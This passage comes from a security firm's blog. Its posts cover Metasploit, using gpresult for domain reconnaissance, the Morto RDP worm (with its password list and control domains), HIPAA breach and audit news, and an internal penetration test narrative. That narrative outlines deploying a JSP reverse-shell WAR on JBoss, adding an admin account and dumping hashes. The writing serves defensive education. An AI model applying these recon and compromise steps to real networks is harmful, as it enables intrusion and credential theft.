As you can see Metapsloit has filled in the RHOSTS variable automatically for this exploit. You don’t need to have a pre-selected exploit in order for Metasploit to do this, and can choose an exploit after you’ve piped the output of a database query to the input of the RHOSTS variable.
Using Metasploit Framework 4 tied to a database is a great way to save time and effort while working with large projects and scans of several hundred to several thousand hosts and many more services.

Viewing GPO’s on the Commandline

Posted on September 2, 2011 by Mark Marshall in Main | Leave a comment

Want a quick way to see what GPO’s are applied to your local system, just using built in utilities? Using the GUI to manually view what settings are applied is awkward and slow.  Use the following commands to see what policies are being handed down to the system you’re on and what they’re enforcing.  This info can be incredibly handy during a pentest in order to find out the limitations being imposed on a specific system you’ve compromised. It can also be very valuable during a vulnerability assessment to spot-check policies being passed down from the domain or forest a workstation is a member of.

Open a command prompt and enter the following command to see all GPO’s that are being applied to your system:

gpresult

This will show the most basic output

C:\Documents and Settings\billy>gpresult

Microsoft (R) Windows (R) XP Operating System Group Policy Result tool v2.0
Copyright (C) Microsoft Corp. 1981-2001

Created On 8/26/2011 at 3:24:13 PM

RSOP results for MARS\billy on EARTH : Logging Mode
----------------------------------------------------

OS Type:                     Microsoft Windows XP Professional
OS Configuration:            Member Workstation
OS Version:                  5.1.2600
Domain Name:                 MARS
Domain Type:                 Windows 2000
Site Name:                   Default-First-Site-Name
Roaming Profile:
Local Profile:               C:\Documents and Settings\billy
Connected over a slow link?: No

COMPUTER SETTINGS
------------------
    CN=EARTH,OU=Goats,DC=mars,DC=local
    Last time Group Policy was applied: 8/26/2011 at 3:03:25 PM
    Group Policy was applied from:      phobos.mars.local
    Group Policy slow link threshold:   500 kbps

    Applied Group Policy Objects
    -----------------------------
        Pasture.Rules
        Good.Goats
        Default Domain Policy

    The following GPOs were not applied because they were filtered out
    -------------------------------------------------------------------
        Local Group Policy
            Filtering:  Not Applied (Empty)

    The computer is a part of the following security groups:
    --------------------------------------------------------
        BUILTIN\Administrators
        Everyone
        NT AUTHORITY\Authenticated Users

USER SETTINGS
--------------
    CN=Billy,OU=Goats,DC=mars,DC=local
    Last time Group Policy was applied: 8/26/2011 at 3:03:20 PM
    Group Policy was applied from:      phobos.mars.local
    Group Policy slow link threshold:   500 kbps

    Applied Group Policy Objects
    -----------------------------
        Pasture.Rules
        Good.Goats
        Default Domain Policy

    The following GPOs were not applied because they were filtered out
    -------------------------------------------------------------------
        Local Group Policy
            Filtering:  Not Applied (Empty)

    The user is a part of the following security groups:
    ----------------------------------------------------
        Domain Users
        Everyone
        BUILTIN\Users
        NT AUTHORITY\INTERACTIVE
        NT AUTHORITY\Authenticated Users
        LOCAL

To see additional detail including the specific settings within the applied GPO’s use the following command

gpresult /z
Microsoft (R) Windows (R) XP Operating System Group Policy Result tool v2.0
Copyright (C) Microsoft Corp. 1981-2001

Created On 8/26/2011 at 3:35:13 PM

RSOP results for MARS\billy on EARTH : Logging Mode
----------------------------------------------------

OS Type:                     Microsoft Windows XP Professional
OS Configuration:            Member Workstation
OS Version:                  5.1.2600
Domain Name:                 MARS
Domain Type:                 Windows 2000
Site Name:                   Default-First-Site-Name
Roaming Profile:
Local Profile:               C:\Documents and Settings\billy
Connected over a slow link?: No

COMPUTER SETTINGS
------------------
    CN=EARTH,OU=Goats,DC=mars,DC=local
    Last time Group Policy was applied: 8/26/2011 at 3:03:25 PM
    Group Policy was applied from:      phobos.mars.local
    Group Policy slow link threshold:   500 kbps

    Applied Group Policy Objects
    -----------------------------
        Pasture.Rules
        Good.Goats
        Default Domain Policy

    The following GPOs were not applied because they were filtered out
    -------------------------------------------------------------------
        Local Group Policy
            Filtering:  Not Applied (Empty)

    The computer is a part of the following security groups:
    --------------------------------------------------------
        BUILTIN\Administrators
        Everyone
        NT AUTHORITY\Authenticated Users

    Resultant Set Of Policies for Computer:
    ----------------------------------------

        Software Installations
        ----------------------
            N/A

        Startup Scripts
        ---------------
            N/A

        Shutdown Scripts
        ----------------
            N/A

        Account Policies
        ----------------
            GPO: Default Domain Policy
                Policy:            MinimumPasswordAge
                Computer Setting:  1

            GPO: Default Domain Policy
                Policy:            PasswordHistorySize
                Computer Setting:  24

            GPO: Default Domain Policy
                Policy:            LockoutDuration
                Computer Setting:  30

            GPO: Default Domain Policy
                Policy:            ResetLockoutCount
                Computer Setting:  30

            GPO: Default Domain Policy
                Policy:            MinimumPasswordLength
                Computer Setting:  7

            GPO: Default Domain Policy
                Policy:            LockoutBadCount
                Computer Setting:  5

            GPO: Default Domain Policy
                Policy:            MaximumPasswordAge
                Computer Setting:  42

        Audit Policy
        ------------
            GPO: Pasture.Rules
                Policy:            AuditPolicyChange
                Computer Setting:  Success

            GPO: Pasture.Rules
                Policy:            AuditDSAccess
                Computer Setting:  Success, Failure

            GPO: Pasture.Rules
                Policy:            AuditAccountLogon
                Computer Setting:  Success, Failure

            GPO: Pasture.Rules
                Policy:            AuditAccountManage
                Computer Setting:  Success

            GPO: Pasture.Rules
                Policy:            AuditLogonEvents
                Computer Setting:  Success, Failure

        User Rights
        -----------
            N/A

        Security Options
        ----------------
            GPO: Default Domain Policy
                Policy:            RequireLogonToChangePassword
                Computer Setting:  Not Enabled

            GPO: Good.Goats
                Policy:            EnableGuestAccount
                Computer Setting:  Not Enabled

            GPO: Default Domain Policy
                Policy:            PasswordComplexity
                Computer Setting:  Enabled

            GPO: Default Domain Policy
                Policy:            ForceLogoffWhenHourExpire
                Computer Setting:  Not Enabled

            GPO: Default Domain Policy
                Policy:            ClearTextPassword
                Computer Setting:  Not Enabled

        Event Log Settings
        ------------------
            N/A

        Restricted Groups
        -----------------
            N/A

        System Services
        ---------------
            N/A

        Registry Settings
        -----------------
            N/A

        File System Settings
        --------------------
            N/A

        Public Key Policies
        -------------------
            N/A

        Administrative Templates
        ------------------------
            N/A

USER SETTINGS
--------------
    CN=Billy,OU=Goats,DC=mars,DC=local
    Last time Group Policy was applied: 8/26/2011 at 3:03:20 PM
    Group Policy was applied from:      phobos.mars.local
    Group Policy slow link threshold:   500 kbps

    Applied Group Policy Objects
    -----------------------------
        Pasture.Rules
        Good.Goats
        Default Domain Policy

    The following GPOs were not applied because they were filtered out
    -------------------------------------------------------------------
        Local Group Policy
            Filtering:  Not Applied (Empty)

    The user is a part of the following security groups:
    ----------------------------------------------------
        Domain Users
        Everyone
        BUILTIN\Users
        NT AUTHORITY\INTERACTIVE
        NT AUTHORITY\Authenticated Users
        LOCAL

    Resultant Set Of Policies for User:
    ------------------------------------

        Software Installations
        ----------------------
            N/A

        Public Key Policies
        -------------------
            N/A

        Administrative Templates
        ------------------------
            GPO: Good.Goats
                Setting: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
                State:   Enabled

            GPO: Good.Goats
                Setting: Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall
                State:   Enabled

            GPO: Pasture.Rules
                Setting: Software\Policies\Microsoft\Windows\Control Panel\Desktop
                State:   Enabled

            GPO: Good.Goats
                Setting: Software\Policies\Microsoft\Windows\Control Panel\Desktop
                State:   Enabled

            GPO: Good.Goats
                Setting: Software\Policies\Microsoft\Windows\Control Panel\Desktop
                State:   Enabled

            GPO: Good.Goats
                Setting: Software\Microsoft\Windows\CurrentVersion\Policies\System
                State:   Enabled

            GPO: Pasture.Rules
                Setting: Software\Policies\Microsoft\Windows\Control Panel\Desktop
                State:   Enabled

            GPO: Pasture.Rules
                Setting: Software\Policies\Microsoft\Windows\Control Panel\Desktop
                State:   Enabled

            GPO: Pasture.Rules
                Setting: Software\Policies\Microsoft\Windows\Control Panel\Desktop
                State:   Enabled

            GPO: Good.Goats
                Setting: Software\Policies\Microsoft\Windows\Control Panel\Desktop
                State:   Enabled

            GPO: Good.Goats
                Setting: Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall
                State:   Enabled

        Folder Redirection
        ------------------
            N/A

        Internet Explorer Browser User Interface
        ----------------------------------------
            N/A

        Internet Explorer Connection
        ----------------------------
            N/A

        Internet Explorer URLs
        ----------------------
            N/A

        Internet Explorer Security
        --------------------------
            N/A

        Internet Explorer Programs
        --------------------------
            N/A

Data of particular interest to an attacker is output of the security group information, which lists what security groups the user account you’re logged in as belongs to.

    The user is a part of the following security groups:
    ----------------------------------------------------
        Domain Users
        Everyone
        BUILTIN\Users
        NT AUTHORITY\INTERACTIVE
        NT AUTHORITY\Authenticated Users
        LOCAL

In this example the user is just a member of the default groups and is fairly restricted.
Other information of note is the output of Account Policies which lists what password policies are in effect for the workstation as well as the domain.  This can help gauge what type of password guessing you can perform against other machines on the domain without locking accounts out.

        Account Policies
        ----------------
            GPO: Default Domain Policy
                Policy:            MinimumPasswordAge
                Computer Setting:  1

            GPO: Default Domain Policy
                Policy:            PasswordHistorySize
                Computer Setting:  24

            GPO: Default Domain Policy
                Policy:            LockoutDuration
                Computer Setting:  30

            GPO: Default Domain Policy
                Policy:            ResetLockoutCount
                Computer Setting:  30

            GPO: Default Domain Policy
                Policy:            MinimumPasswordLength
                Computer Setting:  7

            GPO: Default Domain Policy
                Policy:            LockoutBadCount
                Computer Setting:  5

            GPO: Default Domain Policy
                Policy:            MaximumPasswordAge
                Computer Setting:  42

All of this data can be accessed as a normal, limited user account and reveals a wealth of information about the configuration of the domain which the machine is joined to.  This info can aid greatly in a pentesters quest to gain further access into the network.

New Windows Worm Squirming Through RDP

Posted on August 28, 2011 by Mark Marshall in Main | Leave a comment

I haven’t seen a Windows worm in the wild in a long time. The last time a major worm infestation took place was in 2003 in the days of Blaster which spread via an unpatched flaw in RPC. That same year was Slammer, and Code Red a few years before in 2001.

This new worm code named ‘Morto’ has been seen in the wild and is accounting for a spike in RDP traffic on 3389/tcp as it spreads. Users are reporting infections of systems on Microsoft’s Technet website.
Morto appears to be a dumb worm and doesn’t actually exploit anything but people’s stupidity. Morto is simply attempting to guess weak passwords for the Administrator account via RDP.

The following password list is being used:

admin
password
server
test
user
pass
letmein
1234qwer
1q2w3e
1qaz2wsx
aaa
abc123
abcd1234
admin123
111
123
369
1111
12345
111111
123123
123321
123456
654321
666666
888888
1234567
12345678
123456789
1234567890

If Morto successfully guesses a password it then proceeds to mount the remote C:\ and D:\ drives and copy a version of itself over. Once it has copied itself to a new victim it scans the local subnet that the newly compromised box is located on and attempts to spread to neighboring machines via the same method.
Compromised machines are fully controllable remotely. Command and control servers have been noted to be jaifr.com and qfsl.net.
Morto is currently being identifed by F-Secure AV as Backdoor:W32/Morto.A and Worm:W32/Morto.B
How do you protect yourself from this new squirmy foe? Simple, don’t use dumb passwords for critical accounts including the Administrator account. Furthermore, don’t ever have RDP open to the internet. We’ve been telling everyone this for years now.

Happy Birthday Healthcare Breach Notification Rule

Posted on September 25, 2011 by Dan Berger in Main | Leave a comment

I wasn’t the only one celebrating a birthday last week. It’s been exactly two years since the breach notification rule, mandated by the HITECH Act, took effect. Since then, 330 major health information breaches affecting 11.8 million individuals have been reported to the Department of Health and Human Services’ Office for Civil Rights (OCR). And while major breaches are those that impact the largest number of Americans (500 or more per incident), it is worth noting that another 30,500 smaller incidents have also occurred in 2009 and 2010.  Smaller incidents tend to involve 1 or 2 people and are most often the result of a misdirected communication caused by human error. The large breaches are of the most concern and with two years of data under our belt, here’s the upshot –

  • Historical statistics show that the greatest risk to date (more than 50% of violations) has come from theft or loss of laptops, smart phones, and other electronic media and devices.
  • 20% of all incidents took place at business associates (BA’s), showing the need for a covered entity to have deeper involvement with their vendors’ information security policies, procedures and a say in how frequency they conduct security testing and audits.

Adam Greene, a former OCR official who I met at last May’s Annual HIPAA Security Rule Conference, recently recommended that healthcare organizations focus more on their employees and how they physically safeguard hardware. Encryption is almost always brought up in this context as the potential damage caused by stolen or lost devices that have been encrypted can be minimized. But mandatory encryption still remains a controversial topic within the health care security rule-making bodies in D.C. The official position has been that the need for providers to have flexibility in their workflow to deliver optimal patient care has to be balanced against security risks, at least for now.

Let’s look deeper at the issue of business associates. If you sort the online breach notification database by number of individuals affected, you’ll find that 9 of the top 20 incidents occurred at the hands of business associates. This is a significant problem for covered entities today – as their responsibility and liability extends to companies and organizations that are beyond their direct control. At Redspin, we strongly recommend that hospitals adopt a stronger business associate oversight program. We’ve provided HIPAA Risk Analysis services for dozens of hospitals and we almost always cite risk and vulnerabilities in their business associate management programs. I’m not as confident as my friend Adam that they solution is simply that hospitals must take greater precautions in this area. Hospitals and their vendors have a business relationship – by definition, the business associate needs access to protected health information to perform its duties and fulfill its contractual obligation. To prompt real change in a third-party organization, hospitals need to insist, cajole, negotiate, discuss etc. within the bounds of an arm’s length relationship.

One thing we’d suggest is that hospitals point to their own Security Risk Analysis efforts and share with their vendors some of their findings and recommendation, and recommend companies like Redspin to do BA’s own IT security audits. OCR will soon provide some regulatory help in this regard as directly liability for breach will extend to business associates by the end of 2012. At that time, hospitals may even find their business associates coming to them, proactively asking for direction and guidance in the area of data privacy and security. In our opinion, it won’t be long before covered entities insist that business associates conduct an annual IT security assessment as part of the obligations of their business associate contract.

Healthcare Data Breaches-Insider Job, Cybercrime, or Both?

Posted on October 3, 2011 by Dan Berger in Main | Leave a comment

As required by section 13402(e) (4) of the HITECH Act, the HHS Secretary must post a list of breaches of protected health information (PHI)  impacting 500 or more individuals. In the past 2 years, over 11.8 million Americans have been affected in nearly 330 separate incidents. This information is contained in a publicly searchable and downloadable database. Thus many organizations (including Redspin) have published “PHI breach reports” which summarize the data and offer conclusions based on the results of the past 2 years.

Relying solely on historical data has limitations, particularly in such dynamic, fast-moving arenas as healthcare and IT. Any conclusions drawn may turn out to be less predictive or prescriptive than as originally put forth. The old adage “if we don’t learn from history, we are doomed to repeat it,” is diluted by the pace of technological change. Relatively new innovations such as smart phones, iPads, and social media continue to alter the nature of human-machine interaction, workflow and social reach. With new modalities for patient care, such as genetic-driven personalized medicine and mobile consumer health applications, one can easily conclude that how a patient’s health record was breached in 2010 will have little relevance in 2014.

As a case-in-point, Bloomberg Businessweek recently reported on a new healthcare industry privacy and security report released by PwC’s Health Research Institute. The article was entitled: “Theft of Digital Health Data More Often Inside Job, Report Finds” (Sep 22, 2011).  Presumably, the editor relied on the following two statements from the report to support the title; “Theft accounted for 66 percent of publicly reported breaches” and “Thieves are most often ‘knowledgeable insiders.’”

Ah, the dangers of oversimplification. If I were a healthcare CIO or Chief Privacy Officer, I might conclude that my security risk would be markedly reduced with daily shakedowns of all staff and more extensive background checks of prospective new employees. Worse, based on history alone, I might dismiss external hackers as not much of a threat to electronic protected health information (ePHI).

Yet, just this same month, RSA re-released a re-formatted, modestly updated 2009 report entitled “Cybercrime and the Healthcare Industry.” This paper discusses the rise of underground cybercrime networks and explains why a stolen medical identity has 10 times the higher relative value than a “regular” identity theft. Looking into its encrypted crystal ball, RSA concludes: “Cybercrime in healthcare is just starting to evolve but could quickly become a devastating industry, economic and societal problem.”

Inside job or underground cybercriminals, most healthcare organizations are under prepared for data breaches. PwC’s report “Old Data Learns New Tricks: Managing Patient Privacy and Security on a New Data Sharing Playground,” (despite the wildly mixed metaphor) was supported by over 600 interviews with health care executives. The 40+ page document is an excellent treatise on the importance of healthcare IT security, only slightly self-serving, and accurately summarizes the health data breach problem as follows: “Breaches erode productivity and patient trust. They’re costly, unpredictable, and unfortunately quite common.” (p3.)

Those in the healthcare IT industry face an increasingly complex challenge. Patients, providers, payers, business associates, researchers and industry economics will demand a significant increase in data sharing. At the same time, the threat surface for data breach will increase exponentially, exacerbated by personal and mobile communications devices and overall multiplicity of end-points. History can guide us only mildly. To borrow from Aldous Huxley and Shakespeare, it’s a brave new world and a world without data islands. Redspin will meet you there.

Wireless security controls are often too lax for the data they need to protect

Posted on October 6, 2011 by John Abraham in Main | Leave a comment

At Redspin we are often asked to perform wireless security assessments for organizations that have recently deployed or upgraded their wireless infrastructure with top-of-the-line access points (APs), controllers and wireless intrusion detection systems (WIDS). Many deployments are to support inter-office mobility – a need that has gone from a rising tide to a tsunami in parallel with the mass adoption of mobile devices such as smart phones and Apple iPads. Virtually every CIO and CSO that I meet these days are grappling with the question of how to support employee requests for connectivity – often times by senior executives. These devices themselves are inherently risky due to their highly mobile nature, ability to store and access sensitive data, and immature enterprise security management support. For today, let’s focus on the corporate wireless infrastructure itself. The problem is less about the capabilities of wireless security technology and more about the lack of a thoughtful deployment of these systems. Wireless networks need to implement security controls that are at least as good as the existing controls on the data they are trying to protect.

The most consistent problem is that wireless networks are deployed with less than optimum security controls. For example, using WPA2 in personal mode rather than enterprise mode. The upside of personal mode – in which clients, such as laptops and iPhones, authenticate to the networks with a pre-shared key (PSK) – is that it’s easy to manage and configure. The downside of this approach that it is vulnerable to a password guessing attack, cached client credentials, system-wide risk in the event of a compromised key and rogue access points. This risk may be acceptable for access to a wireless network whose only purpose is to provide Internet access for guests or mobile devices. However, many wireless networks begin with this simple purpose in mind only to evolve into much more access into the internal network.

Wireless network signals travel well beyond your corporate office space. In a downtown office environment, dozens or even hundreds of other businesses or public areas are able to “see” these signals. It’s as if you are grabbing a hand full of network cables that are connected to your internal switch and lobbing them out into the street for everyone to use. This greatly extends the attack surface area for wireless networks, so it’s imperative that they are configured with security settings that are appropriate to the data they need to protect.

With wireless networks, there are a great many security configurations available to support a variety of business cases. It’s critical to ensure that usage scenarios are carefully evaluated before a network is deployed to ensure that appropriate security controls are implemented. Once deployed, wireless networks should be tested to verify that the controls are actually working effectively.

The “Yelp for Security Tools” – SecTools.Org 2011 Update

Posted on November 4, 2011 by Mark Marshall in Main | Leave a comment

Gordon Lyon, better known by his online alias of Fyodor and as the creator of the very popular (and awesome) tool Nmap has released the results of the Nmap 2010 User Survey which he performs every couple of years. The survey is filled out by members of the Nmap-Hackers mailing list, one of several mailing lists that Fyodor maintains which is made up of many smart minds in the security world. The 2010 survey had more than 3000 participants throw their vote in for the most popular security tools in the industry, both commercial and opensource. The votes are then tabulated and revealed in a ranked list on Fyodors sectools.org website.
Sectools.org was first launched in 2000 and cataloged the top 50 security tools, in 2003 it had 75 tools, 2006 brought 100 tools, and this newest update brings the total to 125. Sectools has become one of the de-facto places I’ll tell wannabe penetration testers and other security noobs to check out to learn the ways of the security trade. If a new user takes the time to download and master each of the referenced tools they will quickly move from noob to leet.
This update has not only brought an additional 25 tools to the total count, but has also introduced additional features including user ratings and reviews, tracking of new releases for each tool indexed, searching and sorting capabilities and more. As Fyodor himself says “It’s like a frickin’ Yelp for security tools!”. I would have to agree.
Go check out the new site if you haven’t already. There are many gems lurking on that list that even some of the most seasoned security guys may not have heard of.
SecTools.Org

Healthcare IT Security – Who is Responsible, Really?

Posted on November 15, 2011 by Chris Brown in Main | Leave a comment

In any complex, cross-functional business challenge, responsibility and authority must be distributed intelligently while at the same time prove a process of internal dispute resolutions. An information security program is one such complex and multifarious business necessity. At its heart, information security is a method of managing risk to information and information systems, and reducing uncertainty relative to organizational objectives; it is a balance.

But the success of an information security program depends upon the ability of an organization to establish a set of controls based on a thoughtful and consistent design that was developed against carefully analyzed internal and external requirements. Relatively few companies approach the problem this way, so we thought we’d offer some guidance based on Redspin’s 10+ years of IT security experience.

The following describes an accountability-driven and risk-based approach to address the information security expectations of leaders, customers, citizens, partners, and investors.

Creating an environment where operational units coordinate to achieve consistent and appropriate information security controls helps to ensure that the operation and security objectives of the organization are met. One way to do this is to assign accountability and responsibilities in a way that makes internal parties accountable to one another, with guidance and input from subject matter experts. The following mutual accountability can be used to drive decisions that align with your organization’s mission and goals:

A Data Steward is a single person accountable for establishing policies for internal uses and conditions of internal and external disclosure. There is one steward for each domain of data across the entire organization. Domains are generally broad and easily identifiable, organizations having on average between 10 to 15 core domains.

A Process Owner is a single person accountable for general processes (such as workforce acquisition and termination). These individuals establish the minimum process control requirements, which may then be implemented in a centralized or decentralized manner. Each implementer is responsible for meeting the process owner’s control requirements and one or more data steward’s control requirements.

System Sponsors are assigned to each application and system, from the department specific applications to general utility applications such as email. These system sponsors are responsible for meeting the availability and processing quality requirements of the process owners (e.g. up time and stability), and the data confidentiality and integrity requirements of the data stewards (e.g. patching and access controls). They are also responsible for justifying the continued existence of an application or system.

Data Gatekeepers are accountable for disclosures to a particular audience. Some of these roles are historically well established. For example, the senior public-relations official is accountable for responding to inquiries from the public and the press, and the senior legal official is accountable for addressing inquires from the courts and, depending on the organization, perhaps for inquiries from regulators and governments. Extending this concept to each unique audience creates internal accountability. Audiences may include consumers, vendors, business customers, partners, local and foreign governments, and law enforcement and intelligence agencies. The data gatekeeper is answerable to one or more data stewards.

Let’s run this through an example to see how it works. USB thumb drives are prevalent, with organizations taking stances that range from very loose to very tight. Policies commonly ban the devices, don’t mention them, or put IT in the role of deciding who gets one. The first two positions generally fail to serve the organization, and the last requires IT to make a business operations decision. To address this let’s step back to ask ourselves a few questions. Which process do the USB drives support and are the USB drives inherently required by those processes? Will the USB drive contain controlled information and are the data stewards requirements met?

Sales might use thumb drives to display presentations on client’s equipment. This is clearly a sales process, and would be under the purview of the most senior sales management position, perhaps a VP of Sales. The VP of Sales could responsibly and reasonably take a position that USB drives are required for external sales presentations. So long as that drive contains only sales information, then the data in question is also under the purview of the VP of Sales.

Changing the scenario for a moment, let’s say a salesperson wants to include very sensitive discount information. In this case, the VP of Sales may have a policy that discount data is only shared with key members of the client decision team. The VP of Sales in a process owner role still approves the use of USB thumb drives for sales presentations, but the VP of Sales in a data steward role requires that the data be distributed in a limited and controlled manner.

Changing the scenario even further, let’s say that the client requests key financial information. Again the use of USB drives is already approved by the VP of Sales. However, in this scenario the data in question is subject to the policies of the CFO, who has the requirement that key financial data be stored only on company owned equipment and be encrypted at all times when not within company facilities. In this case, the sales person must use a company owned and encrypted laptop for the presentation. If the VP of Sales doesn’t like this and still wants to use USB drives, the issue is not between Sales and IT, it’s between Sales and Finance. We are effectively taking IT out of  the middle, to a role where IT implements the decision of the parties who have the greatest stake in the decision.

IT organizations in the healthcare industry are being asked to make increasingly complex and subtle decisions. IT everywhere is being asked to do more and be responsible for more. Enabling the business to meaningfully engage IT, and creating a way that provides the businesses with the right information to make decisions is key to the perceived and actual success of an IT department. The road to engaging all parts of the business is difficult, but it has also been shown to be a hallmark of successful organizations.

IT has been put in the role of making business decisions, because organizations lack a framework for making data and system decisions. Providing a framework for decision making can become a key value that IT can provide. Even if your organization is not ready to formally adopt these concepts the thinking process, and the line of questions that result, will help you facilitate better security decision making within your organization.

“Enforcement Promotes Compliance” – HIPAA Audits Just Around the Corner

Posted on November 22, 2011 by Dan Berger in Main | Leave a comment

Earlier this month, the U.S. Department of Health and Human Services (HHS) Office for Civil Rights (OCR) released further details on its plan to audit 150 covered entities under its pilot HIPAA audit program. Periodic audits of the HIPAA privacy, security and breach notification standards are required of the HHS Secretary under Section 13411 of the 2009 HITECH Act (2009). In June of 2011, OCR awarded a $9.2 million contract to the consulting firm KPMG to develop an audit methodology and pilot program, and to conduct the first 150 audits. (Ironically, KPMG was selected despite having been responsible for a breach that included the loss of an unencrypted flash drive and affected more than 4,500 patient records at a New Jersey medical facility in May 2010 – Oh well, no one’s perfect!)

Of further note, the pilot program will be limited to 150  HIPAA covered entities and will not include business associates (BAs) although OCR stated that BAs will be subject to audits at a later date. This despite the fact that 55% of all major breach incidents since September 2009 (those involving 500 or more individual’s records) occurred at BAs. In addition, less than 50% of healthcare organizations conduct any kind of pre- or post- contract compliance assessments of their BAs.  But more on BAs later. First here’s the planned roll-out of the pilot program for covered entities:

The HIPAA auditors plan to notify covered entities that they are among the lucky 150 by mail. What we find most interesting is that they then have 10 days to provide the auditor with documented evidence of how they have complied with the HIPAA privacy and security standards, as well as breach notification rules, including a copy of their most recent HIPAA Risk Analysis. That’s right, their HIPAA Risk Analysis. As you may or may not recall, the  HIPAA Security Risk Analysis requirement is not just a Core Measure of attesting to meaningful use, it’s been a requirement under the HIPAA Security Rule since 2005.  If you’re at all concerned about making a good first impression on the auditor, we’d suggest you don’t send them a HIPAA Risk Analysis that is more than 2 years old.

OCR is also getting serious about enforcement. The KPMG contract itself requires their auditors to inform organizations in advance that “OCR may initiate further compliance enforcement action based on the content and findings of the audit.” Since taking office, the mantra of OCR’s new director, former prosecutor Leon Rodriguez,  has been “enforcement promotes compliance.”

Now onto business associates. While OCR opted not to include auditing business associates themselves in their pilot HIPAA program, covered entities are not relieved of their obligation to monitor PHI safeguards at their BAs.  In fact, a significant concern at hospitals should be business associate oversight, a complex and cumbersome, thus oft-neglected responsibility.

For business associates themselves, protecting the security and privacy of ePHI/PHI will shortly become both a fiduciary responsibility and potentially a competitive issue. The OCR has confirmed that direct liability for a breach will extend to BAs at the end of 2012 raising the likelihood of civil penalties. As hospitals begin to feel increased audit pressure, they may insist that BAs provide them with documented policies, procedures, and third-party network security assessments prior to signing or renewing business contracts. Publicly- disclosed violations or civil penalties assessed to BAs could be brand-damaging at the least and a company killer at their most severe.

Whether you’re a covered entity or a business associate, we recently published a list of 10 things we’d recommend to best prepare yourself for the inevitable day the HIPAA auditor arrives. You can download the full Audit Advisory here: http://www.redspin.com/resources/whitepapers-datasheets/request_HIPAA-security_audit_advisory.php

 

 

 

How An Internal Penetration Test Can Help Your Organization

Posted on December 22, 2011 by John Abraham in Main | Leave a comment

Every IT department faces the challenge of having to apply limited resources (headcount, technology, 3rd party assessments) against a plethora of potential security risks. Choosing wisely is often the difference between an effective security strategy and an ineffective one. With that in mind and a number of possible assessment approaches available, what benefits can be gained from an internal penetration test?

First, since security terminology is often misunderstood, let’s first define internal penetration testing. An internal pen test is a very specific scope of work where a security engineer connects to your internal network, or portion thereof, and with nothing other than an internal network connection, attempts to gain access to sensitive organizational resources. In an internal pen test the security engineer is network level connected but has no other credentials, such as a user account on the domain or on a corporate software application. Such a test can be conducted on-site with the engineer working from a conference room with an Ethernet drop, or done remotely via VPN connection. It is from this restricted vantage point that the engineer attempts to gain unauthorized access to internal systems and data.

Example of a Common Finding – Compromised Web Server

Finding

A web application server with sensitive customer and cardholder data can be compromised.

Narrative

Our internal penetration testing often exposes the ability to compromise a web application server from inside the firewall.

The entry point is usually a host accessible through default credentials. From there we can get JMX console access and view the microkernel of the JBoss application server.

If full control over the JBoss application server can be obtained, we can then start or stop services as well as deploy or un-deploy Web application ARchives (WAR) files. It is possible to even create a custom WAR file and embed a JavaServerPages (JSP) payload that when executed, will initiate a reverse connectback to the RPA server and spawn a shell.

From there a user account can be created and added  to the local administrators group in order to maintain access to the server and use it as a jump point for further testing.

Once this user account is created, a fully interactive session can be established by using RDP to connect to the server. Once connected, its possible to dump the password hashes of the local user accounts.

Impact

Any user with physical access to the corporate network can access sensitive customer PII (personally identifiable information) and cardholder data without authorization credentials.

The results of an internal penetration test typically demonstrate what information or other assets might be exposed to an unauthorized user who has network level access to your corporate IT environment. Extrapolating further, it also shows what a hacker could access if they were to compromise your gateway. But, an internal pen test is not designed simply to expose risk from external hackers. There are a number of internal risks as well. Here are some other important considerations:

  • What confidential info might an employee obtain by gaining access to your internal HR database
  • What about vendors or visitors who are allowed on your internal network by an employee, and/or they are left alone in a conference room where they plug into a live Ethernet port?
  • What information could a rogue employee exploit?
  • Can partner companies that have network level connectivity access more internal resources than you intended?

An internal penetration test can help answer these questions and educate others in your organization about this kind of risk. With limited resources to work with, it’s important to clarify what your organization wants to accomplish as you embark on any type of security assessment. We hope we’ve clarified above the most important benefits of an internal penetration test.

HIPAA Security Risk Analysis. – Are You One Of The 3,300?

Posted on January 25, 2012 by Dan Berger in Main | Leave a comment

Get ‘er Done!

I’m referring of course to the HIPAA Security Risk Analysis requirement of the Stage 1 EHR Meaningful Use Incentive Plan. Between 85%-90% of the 5,000+ eligible hospitals say they plan to qualify for Stage 1, yet data from the Centers for Medicare &Medicaid Servicesshows less than 25% have attested and received payment as of November 30, 2011. So for the 3,300 or so other hospitals – this is no time to procrastinate. Time flies, whether you’re having fun or not. You’ll need to plan your 90-day qualification period and be ready to attest before the 2012 deadline. Don’t let the HIPAA Security Analysis become “the tall pole in the tent.”

If the $4 million dollars ($2m Medicare, $2m Medicaid) is not enough of an incentive, don’t forget that the new Federal HIPAA compliance and audit program has begun. The Department of Health and Human Services’ Office for Civil rights announced the specifics of the audit program last year, fulfilling the mandate from the HITECH Act (part of the overall ARRA bill passed in 2009). 150 organizations will be audited in 2012 by KPMG (under contract with OCR) and the first 20 covered entities have already been selected and notified.

Although the primary goal of the audit program is security improvement, significant corrective action and civil monetary policies resulting from these audits have not been ruled out. As Leon Rodriguez, OCR’s new chief, likes to say “enforcement improves compliance.” OCR officials have suggested that most of the remainder of the audits will be conducted in the 2nd half of 2012. Even more reason for hospitals to get their HIPAA Security Risk Assessments completed as soon as possible. Better to have had a run-through with a 3rd party, objective, IT security assessment company of your own choosing and taken corrective actionbefore the federal auditors arrive.

Lastly, some hospitals put off allocating resources to meaningful use efforts in 2011 until their individual states had begun their Medicaid EHR Incentive Programs. But the 2012 national landscape already looks much different. 41 of 50 states have now launched their programs with another 5 or 6 to commence in Q1/2012. In all likelihood, all 50 state programs will be in place and making payments by July 2012.

Stage 2 Meaningful Use Debuts in Las Vegas (Finally!)

Posted on February 24, 2012 by Dan Berger in Main | Leave a comment

